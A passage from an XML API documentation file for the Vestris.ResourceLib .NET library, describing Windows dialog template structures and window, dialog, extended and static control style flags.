name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE\">\n            <summary>\n            An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes\n            the dialog box and specifies the number of controls in the dialog box. For each \n            control in a dialog box, an extended dialog box template has a block of data that\n            uses the DIALOGEXITEMTEMPLATE format to describe the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.dlgVer\">\n            <summary>\n            Specifies the version number of the extended dialog box template. This member must be 1.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.signature\">\n            <summary>\n            Indicates whether a template is an extended dialog box template. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cDlgItems\">\n            <summary>\n            Specifies the number of controls in the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE\">\n            <summary>\n            A control entry in an extended dialog template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.WindowStyles\">\n            <summary>\n            Window styles.\n            http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_OVERLAPPED\">\n            <summary>\n            Creates an overlapped window. An overlapped window has a title bar and \n            a border. Same as the WS_TILED style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_POPUP\">\n            <summary>\n            Creates a pop-up window. This style cannot be used with the WS_CHILD style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CHILD\">\n            <summary>\n            Creates a child window. A window with this style cannot have\n            a menu bar. This style cannot be used with the WS_POPUP style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MINIMIZE\">\n            <summary>\n            Creates a window that is initially minimized. Same as the WS_ICONIC style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VISIBLE\">\n            <summary>\n            Creates a window that is initially visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DISABLED\">\n            <summary>\n            Creates a window that is initially disabled. A disabled window cannot receive \n            input from the user.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPSIBLINGS\">\n            <summary>\n            Clips child windows relative to each other; that is, when a particular\n            child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips\n            all other overlapping child windows out of the region of the child window \n            to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap,\n            it is possible, when drawing within the client area of a child window, to draw\n            within the client area of a neighboring child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPCHILDREN\">\n            <summary>\n            Excludes the area occupied by child windows when drawing occurs \n            within the parent window. This style is used when creating the parent window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MAXIMIZE\">\n            <summary>\n            Creates a window that is initially maximized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CAPTION\">\n            <summary>\n            Creates a window that has a title bar (includes the WS_BORDER style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_BORDER\">\n            <summary>\n            Creates a window that has a thin-line border.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DLGFRAME\">\n            <summary>\n            Creates a window that has a border of a style typically used with dialog \n            boxes. A window with this style cannot have a title bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VSCROLL\">\n            <summary>\n            Creates a window that has a vertical scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_HSCROLL\">\n            <summary>\n            Creates a window that has a horizontal scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_SYSMENU\">\n            <summary>\n            Creates a window that has a window menu on its title bar. The WS_CAPTION \n            style must also be specified.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_THICKFRAME\">\n            <summary>\n            Creates a window that has a sizing border. Same as the WS_SIZEBOX style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_GROUP\">\n            <summary>\n            Specifies the first control of a group of controls. The group consists of this\n            first control and all controls defined after it, up to the next control with \n            the WS_GROUP style. The first control in each group usually has the WS_TABSTOP\n            style so that the user can move from group to group. The user can subsequently\n            change the keyboard focus from one control in the group to the next control in \n            the group by using the direction keys. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_TABSTOP\">\n            <summary>\n            Specifies a control that can receive the keyboard focus when the user presses \n            the TAB key. Pressing the TAB key changes the keyboard focus to the next \n            control with the WS_TABSTOP style. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogStyles\">\n            <summary>\n            Dialog styles.\n            http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_ABSALIGN\">\n            <summary>\n            Specifying this style in the dialog template tells Windows that the dtX and dtY values\n            of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the \n            dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SYSMODAL\">\n            <summary>\n            Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the \n            DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit \n            versions of Windows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_LOCALEDIT\">\n            <summary>\n            Applies to 16-bit applications only. This style directs edit controls in the dialog\n            box to allocate memory from the application data segment. Otherwise, edit controls\n            allocate storage from a global memory object.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFONT\">\n            <summary>\n            Indicates that the header of the dialog box template contains additional data specifying\n            the font to use for text in the client area and controls of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_MODALFRAME\">\n            <summary>\n            Creates a dialog box with a modal dialog-box frame that can be combined with a title\n            bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOIDLEMSG\">\n            <summary>\n            Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the\n            dialog box while the dialog box is displayed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFOREGROUND\">\n            <summary>\n            Causes the system to use the SetForegroundWindow function to bring the dialog \n            box to the foreground. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_3DLOOK\">\n            <summary>\n            Gives the dialog box a nonbold font and draws three-dimensional borders around\n            control windows in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_FIXEDSYS\">\n            <summary>\n            Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. \n            This is a monospace font compatible with the System font in 16-bit versions of Windows\n            earlier than 3.0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOFAILCREATE\">\n            <summary>\n            Creates the dialog box even if errors occur — for example, if a child window cannot be \n            created or if the system cannot create a special data segment for an edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTROL\">\n            <summary>\n            Creates a dialog box that works well as a child window of another dialog box,\n            much like a page in a property sheet. This style allows the user to tab among\n            the control windows of a child dialog box, use its accelerator keys, and so on.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTER\">\n            <summary>\n            Centers the dialog box in the working area; that is, the area not obscured by the tray.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTERMOUSE\">\n            <summary>\n            Centers the dialog box on the mouse cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the dialog box. When the user clicks the \n            question mark, the cursor changes to a question mark with a pointer. If the user then \n            clicks a control in the dialog box, the control receives a WM_HELP message. The control\n            should pass the message to the dialog box procedure, which should call the function \n            using the HELP_WM_HELP command. The help application displays a pop-up window that \n            typically contains help for the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SHELLFONT\">\n            <summary>\n            Indicates that the dialog box should use the system font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_USEPIXELS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ExtendedDialogStyles\">\n            <summary>\n            Extended dialog styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_DLGMODALFRAME\">\n            <summary>\n            Creates a window that has a double border; the window can, optionally, be created \n            with a title bar by specifying the WS_CAPTION style in the dwStyle parameter.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOPARENTNOTIFY\">\n            <summary>\n            Specifies that a child window created with this style does not send the WM_PARENTNOTIFY \n            message to its parent window when it is created or destroyed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOPMOST\">\n            <summary>\n            Specifies that a window created with this style should be placed above all non-topmost \n            windows and should stay above them, even when the window is deactivated. To add or remove\n            this style, use the SetWindowPos function.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_ACCEPTFILES\">\n            <summary>\n            Specifies that a window created with this style accepts drag-drop files.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TRANSPARENT\">\n            <summary>\n            Specifies that a window created with this style should not be painted until siblings beneath\n            the window (that were created by the same thread) have been painted. The window appears \n            transparent because the bits of underlying sibling windows have already been painted.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_MDICHILD\">\n            <summary>\n            Creates a multiple-document interface (MDI) child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOOLWINDOW\">\n            <summary>\n            Creates a tool window; that is, a window intended to be used as a floating toolbar. \n            A tool window has a title bar that is shorter than a normal title bar, and the\n            window title is drawn using a smaller font. A tool window does not appear in \n            the taskbar or in the dialog that appears when the user presses ALT+TAB. If a \n            tool window has a system menu, its icon is not displayed on the title bar. However, \n            you can display the system menu by right-clicking or by typing ALT+SPACE. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_WINDOWEDGE\">\n            <summary>\n            Specifies that a window has a border with a raised edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CLIENTEDGE\">\n            <summary>\n            Specifies that a window has a border with a sunken edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the window. When the user clicks the question mark,\n            the cursor changes to a question mark with a pointer. If the user then clicks a child window,\n            the child receives a WM_HELP message. The child window should pass the message to the parent\n            window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The \n            Help application displays a pop-up window that typically contains help for the child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHT\">\n            <summary>\n            The window has generic \"right-aligned\" properties. This depends on the window class. This style has \n            an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order\n            alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls \n            has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with \n            button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFT\">\n            <summary>\n            Creates a window that has generic left-aligned properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RTLREADING\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading-order \n            alignment, the window text is displayed using right-to-left reading-order properties. \n            For other languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LTRREADING\">\n            <summary>\n            The window text is displayed using left-to-right reading-order properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFTSCROLLBAR\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading order \n            alignment, the vertical scroll bar (if present) is to the left of the client area. For other\n            languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHTSCROLLBAR\">\n            <summary>\n            Vertical scroll bar (if present) is to the right of the client area. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTROLPARENT\">\n            <summary>\n            The window itself contains child windows that should take part in dialog box navigation. \n            If this style is specified, the dialog manager recurses into children of this window when\n            performing navigation operations such as handling the TAB key, an arrow key, or a \n            keyboard mnemonic.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_STATICEDGE\">\n            <summary>\n            Creates a window with a three-dimensional border style intended to be used for items that \n            do not accept user input.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_APPWINDOW\">\n            <summary>\n            Forces a top-level window onto the taskbar when the window is visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_OVERLAPPEDWINDOW\">\n            <summary>\n            Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_PALETTEWINDOW\">\n            <summary>\n            Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYERED\">\n            <summary>\n            Windows 2000/XP: Creates a layered window. Note that this cannot be used for child \n            windows. Also, this cannot be used if the window has a class style of either CS_OWNDC\n            or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOINHERITLAYOUT\">\n            <summary>\n            Windows 2000/XP: A window created with this style does not pass its window layout to its child windows.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYOUTRTL\">\n            <summary>\n            Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose\n            horizontal origin is on the right edge. Increasing horizontal values advance to the left. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_COMPOSITED\">\n            <summary>\n            Windows XP: Paints all descendants of a window in bottom-to-top painting order \n            using double-buffering. For more information, see Remarks. This cannot be used\n            if the window has a class style of either CS_OWNDC or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOACTIVATE\">\n            <summary>\n            Windows 2000/XP: A top-level window created with this style does not become the foreground\n            window when the user clicks it. The system does not bring this window to the foreground \n            when the user minimizes or closes the foreground window.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogItemClass\">\n            <summary>\n            Possible DIALOGEXITEMTEMPLATE WindowClass ordinals.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Button\">\n            <summary>\n            A button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Edit\">\n            <summary>\n            An edit box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Static\">\n            <summary>\n            A static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ListBox\">\n            <summary>\n            A list box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ScrollBar\">\n            <summary>\n            A scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ComboBox\">\n            <summary>\n            A combo box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.StaticControlStyles\">\n            <summary>\n            Static control styles.\n            A static control specifies the STATIC class, appropriate window style constants, \n            and a combination of the following static control styles.\n            http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFT\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next left-aligned\n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTER\">\n            <summary>\n            Specifies a simple rectangle and centers the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next centered \n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHT\">\n            <summary>\n            Specifies a simple rectangle and right-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next \n            right-aligned line. Words that are longer than the width of the control \n            are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ICON\">\n            <summary>\n            Specifies an icon to be displayed in the dialog box. If the control is created \n            as part of a dialog box, the text is the name of an icon (not a filename) defined \n            elsewhere in the resource file. If the control is created via CreateWindow or a \n            related function, the text is the name of an icon (not a filename) defined in the\n            resource file associated with the module specified by the hInstance parameter to \n            CreateWindow. The icon can be an animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKRECT\">\n            <summary>\n            Specifies a rectangle filled with the current window frame color.\n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYRECT\">\n            <summary>\n            Specifies a rectangle filled with the current screen background color. \n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITERECT\">\n            <summary>\n            Specifies a rectangle filled with the current window background color. This color is white \n            in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKFRAME\">\n            <summary>\n            Specifies a box with a frame drawn in the same color as the window frames. \n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the screen background (desktop).\n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITEFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the window background. This color is \n            white in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_USERITEM\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SIMPLE\">\n            <summary>\n            Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle.\n            The text line cannot be shortened or altered in any way. Also, if the control is disabled,\n            the control does not gray its text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFTNOWORDWRAP\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            Tabs are expanded, but words are not wrapped. Text that extends past the \n            end of a line is clipped.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_OWNERDRAW\">\n            <summary>\n            Specifies that the owner of the static control is responsible for drawing \n            the control. The owner window receives a WM_DRAWITEM message whenever the\n            control needs to be drawn.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BITMAP\">\n            <summary>\n            Specifies that a bitmap is to be displayed in the static control. \n            The text is the name of a bitmap (not a filename) defined elsewhere in the \n            resource file. The style ignores the nWidth and nHeight parameters; the control \n            automatically sizes itself to accommodate the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENHMETAFILE\">\n            <summary>\n            Specifies that an enhanced metafile is to be displayed in the static control.\n            The text is the name of a metafile. An enhanced metafile static control has a \n            fixed size; the metafile is scaled to fit the static control's client area.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDHORZ\">\n            <summary>\n            Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDVERT\">\n            <summary>\n            Draws the left and right edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDFRAME\">\n            <summary>\n            Draws the frame of the static control using the EDGE_ETCHED edge style. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_TYPEMASK\">\n            <summary>\n            Windows 2000: A composite style bit that results from using the OR operator on \n            SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask.\n            Note that this is out of date and does not correctly include all valid styles.\n            Thus, you should not use this style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZECONTROL\">\n            <summary>\n            Windows XP or later: Adjusts the bitmap to fit the size of the static control.\n            For example, changing the locale can change the system font, and thus controls\n            might be resized. If a static control had a bitmap, the bitmap would no longer\n            fit the control. This style bit dictates automatic redimensioning of bitmaps \n            to fit their controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOPREFIX\">\n            <summary>\n            Prevents interpretation of any ampersand characters in the control's text as\n            accelerator prefix characters. These are displayed with the ampersand removed and \n            the next character in the string underlined. This static control style may be \n            included with any of the defined static controls. You can combine SS_NOPREFIX \n            with other styles. This can be useful when filenames or other strings that may \n            contain an ampersand must be displayed in a static control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOTIFY\">\n            <summary>\n            Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE \n            notification messages when the user clicks or double-clicks the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTERIMAGE\">\n            <summary>\n            Specifies that a bitmap is centered in the static control that contains it. \n            The control is not resized, so that a bitmap too large for the control will \n            be clipped. If the static control contains a single line of text, the text \n            is centered vertically in the client area of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHTJUST\">\n            <summary>\n            Specifies that the lower right corner of a static control with the SS_BITMAP\n            or SS_ICON style is to remain fixed when the control is resized. Only the top\n            and left sides are adjusted to accommodate a new bitmap or icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZEIMAGE\">\n            <summary>\n            Specifies that the actual resource width is used and the icon is loaded using\n            LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SUNKEN\">\n            <summary>\n            Draws a half-sunken border around a static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_EDITCONTROL\">\n            <summary>\n            Microsoft Windows 2000: Specifies that the static control duplicates the \n            text-displaying characteristics of a multiline edit control. Specifically, the \n            average character width is calculated in the same manner as with an edit control, \n            and the function does not display a partially visible last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENDELLIPSIS\">\n            <summary>\n            Microsoft Windows NT or later: If the end of a string does not fit in the rectangle,\n            it is truncated and ellipses are added. If a word that is not at the end of the string \n            goes beyond the limits of the rectangle, it is truncated without ellipses. Using this \n            style will force the controls text to be on one line with no word wrap. Compare with \n            SS_PATHELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_PATHELLIPSIS\">\n            <summary>\n            Windows NT or later: Replaces characters in the middle of the string with ellipses so \n            that the result fits in the specified rectangle. If the string contains backslash (\\) \n            characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last \n            backslash. Using this style will force the controls text to be on one line with no \n            word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WORDELLIPSIS\">\n            <summary>\n            Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. \n            Using this style will force the controls text to be on one line with no word wrap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ELLIPSISMASK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member 